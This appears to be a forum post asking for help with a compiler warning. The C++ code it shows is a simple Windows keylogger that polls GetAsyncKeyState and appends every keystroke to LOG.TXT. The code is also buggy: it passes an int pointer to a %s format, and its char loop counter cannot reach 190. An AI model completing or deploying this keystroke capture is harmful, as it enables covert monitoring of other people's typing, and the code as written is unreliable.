I have the following code and i cant seem to say for sure what the problem is.
When i compile the c++ program, compiler returns warning about expecting argument of type char*
but argument 3 has type int
int save (int key_stroke, const char file[]);
int main()
{
char i;
while(1){
for (i = 8; i <= 190; i++){
if(GetAsyncKeyState(i)== -32767){
save(i,"LOG.TXT");
}
}
}
return 0;
}
int save (int key_stroke, const char file[])
{
if(key_stroke==1 || key_stroke==2)
return 0;
FILE *OUTPUT_FILE;//created a pointer reference variable of type File
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &key_stroke);//this is line that c++ compiler
//compiler complains of
fclose(OUTPUT_FILE);
cout<<key_stroke<<endl;
return 0;
}
Aucun commentaire:
Enregistrer un commentaire